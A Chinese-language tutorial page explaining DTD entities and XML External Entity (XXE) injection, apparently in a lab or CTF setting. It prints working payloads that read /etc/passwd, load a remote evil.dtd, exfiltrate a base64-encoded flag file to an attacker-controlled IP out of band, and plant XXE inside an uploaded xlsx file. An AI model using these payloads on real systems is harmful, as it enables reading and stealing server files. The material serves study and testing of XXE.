当前位置: 首页 > news >正文

XML外部实体注入

1.DTD实体及引用

DTD(文档类型定义)是一种用于定义XML文档结构和元素约束的方法。它可以描述一个XML文档的元素、属性、实体、注释等,从而规定了文档的结构和语法规则。DTD 通常是一个单独的文件,可以被多个XML文档所共享。

而在DTD中,实体是一种可以被引用的数据类型,它可以用来代替特定的字符,字符串,符号等,从而使DTD更加灵活和易于维护

(1)内部实体

格式:<!ENTITY 实体名称 "实体的值">

例子:

<!DOCTYPE note [

  <!ENTITY author "John Smith">

]>

<user><username>&author;</username><password>1</password></user>

在这个例子中,定义了一个名为author的内部实体,它的实际内容是John Smith,在xml文档中,通过&author进行引用,并将其替换为实际内容

(2)外部实体

格式:<!ENTITY 实体名称 SYSTEM "URI">

例子:

<!DOCTYPE note [

  <!ENTITY author SYSTEM "author.txt">

]>

<note>

  <to>Tove</to>

  <from>Jani</from>

  <heading>Reminder</heading>

  <body>Hello &author;!</body>

</note>

在这个例子中,定义了一个名为“author”的外部实体,它在一个名为“author.txt”的文件中定义。在XML文档中,通过使用“&author”来引用该实体,并将其替换为“author.txt”文件中的实际内容。

(3)通用实体

格式:<!ENTITY entity-name "entity-value">

其中,entity-name是实体的名称,entity-value 是实体的值。通用实体可以在XML文档中任何位置用和使用,使用实体引用的方式引用该实体。

(4)参数实体

格式:<!ENTITY % entity-name "entity-value">

其中,entity-name是参数实体的名称,entity-value 是参数实体的值。参数实体只能在DTD中引用和使用,使用%符号和实体名称的方式引用该实体

例子:

<?xml version="1.0" encoding="UTF-8" ?>

<!DOCTYPE message [

<!ENTITY  %  remote SYSTEM "http://IP:6666">

%remote;

]>

<message></message>

注:

A.使用% 实体名(这里面空格不能少)在DTD 中定义,并且只能在DTD 中使用

% 实体名;引用。

B.只有在DTD文件中,参数实体的声明才能引用其他实体。

C.和通用实体一样,参数实体也可以外部引用。

D.特殊符号

在XML中,一些字符拥有特殊的意义,如果把这些直接放进XML元素中会产生错误。比如下面这个插入了“<”符号,解析器会把它当作新元素的开始,就会产生错误,为了避免这个错误,我们可以用实体引用来替代这些特殊的字符。比如在XML中有5个预定义的实体引用:

2.XML外部实体注入

(1)原理

利用了XML解析器中的实体功能,向目标应用程序注入恶意实体。攻击者构造一个恶意XML文档,并在其中插入一个外部实体引用,引用指向一个攻击者控制的文件或URL。当目标应用程序解析恶意XML文档时,它会尝试加载外部实体,并执行其中包含的代码或读取其中包含的数据。

(2)构建方法

A.直接通过DTD+外部实体声明

<?xml version="1.0" encoding="ISO-8859-1"?>

<!DOCTYPE foo [

<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>

<user><username>&xxe;</username><password>1234</password></user>

B.通过DTD文档引入外部DTD文档,再引入外部实体

<?xml version="1.0"?>

<!DOCTYPE a SYSTEM "http://192.168.169.1/evil.dtd">

<user><username>&xxe;</username><password>1234</password></user>

Evil.dtd文件内容:

<!ENTITY xxe SYSTEM "file:///etc/passwd">

C.无回显

按B中方法进行利用发现没有回显,那么就需要用blind xxe漏洞去利用

<!DOCTYPE convert [

<!ENTITY % remote SYSTEM "http://192.168.169.1:1234/test.dtd">

%remote;%int;%send;

]>

<user><username>1</username><password>2ad</password></user>

Test.dtd:

<!ENTITY %file SYSTEM "php://filter/read=convert.base64-encode/resource=/tmp/flag">

<!ENTITY % int "<!ENTITY % send SYSTEM 'http://192.168.169.1:1234/?p=%file;'>">

(3)EXCEL文档XXE

实际上,现代Excel文件实际上只是XML文档的zip文件。这称为0fice Open XML格式或00XML。许多应用程序允许上传文件。有些处理内部数据并采取相应的操作,这几乎肯定需要解析XML。如果解析器未安全配置,则XXE几乎是不可避免的。

<!DOCTYPE GVI [<!ENTITY xxe SYSTEM "http://xxx.com/" >]>

<name>&GVI;</name>

首先新建xlsx文件,然后将其后缀修改为.zip,再将该zip文件解压,打开[Content_Types].xml把测试代码放到第二、三行

然后将其后缀改为xlsx再上传即可

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • 使用docxtemplater-image-module-free时支持动态获取图片大小
  • SpringBoot:将单体项目拆分成微服务项目
  • 【PGCCC】pg_bestmatch.rs:使用 BM25 提升您的 PostgreSQL 文本查询#PCA
  • Windows下添加开机启动项
  • Vue.js 中的指令(Vue自定义指令)
  • 在小程序添加公司官网访问
  • 使用 Vue 2 搭建后台管理系统
  • 学习计算机网络(五)——ICMP协议
  • 仕考网:考外省公务员可以调回本地吗?
  • 保研考研机试攻略:第三章——数学(2)
  • uView的u-notice-bar组件横向滚动不生效问题解决
  • 《AI视频类工具之八——​ 快剪辑》
  • Android 使用 PatternsCompat.EMAIL_ADDRESS 判断邮箱、IP地址、域名格式是否正确
  • 基于SpringBoot框架的能源管理系统源代码(100%开源无加密)
  • Linux系统之部署轻量级Markdown文本编辑器
  • [微信小程序] 使用ES6特性Class后出现编译异常
  • 30天自制操作系统-2
  • E-HPC支持多队列管理和自动伸缩
  • golang中接口赋值与方法集
  • HashMap剖析之内部结构
  • Java新版本的开发已正式进入轨道,版本号18.3
  • ReactNative开发常用的三方模块
  • ⭐ Unity 开发bug —— 打包后shader失效或者bug (我这里用Shader做两张图片的合并发现了问题)
  • 使用Swoole加速Laravel(正式环境中)
  • 使用阿里云发布分布式网站,开发时候应该注意什么?
  • 吐槽Javascript系列二:数组中的splice和slice方法
  • 王永庆:技术创新改变教育未来
  • 自定义函数
  • k8s使用glusterfs实现动态持久化存储
  • 从如何停掉 Promise 链说起
  • 如何通过报表单元格右键控制报表跳转到不同链接地址 ...
  • ​Python 3 新特性:类型注解
  • # Apache SeaTunnel 究竟是什么?
  • ###STL(标准模板库)
  • #Datawhale AI夏令营第4期#AIGC方向 文生图 Task2
  • (1)Hilt的基本概念和使用
  • (2009.11版)《网络管理员考试 考前冲刺预测卷及考点解析》复习重点
  • (C语言)深入理解指针2之野指针与传值与传址与assert断言
  • (排序详解之 堆排序)
  • (三)终结任务
  • (删)Java线程同步实现一:synchronzied和wait()/notify()
  • (未解决)macOS matplotlib 中文是方框
  • (转)LINQ之路
  • (转)Linux NTP配置详解 (Network Time Protocol)
  • (自用)网络编程
  • ****** 二十三 ******、软设笔记【数据库】-数据操作-常用关系操作、关系运算
  • .Net - 类的介绍
  • .NET 分布式技术比较
  • .NET 使用 JustAssembly 比较两个不同版本程序集的 API 变化
  • .NetCore实践篇:分布式监控Zipkin持久化之殇
  • .NetCore项目nginx发布
  • .Net各种迷惑命名解释
  • .sh 的运行
  • ??myeclipse+tomcat
  • @SpringBootApplication 注解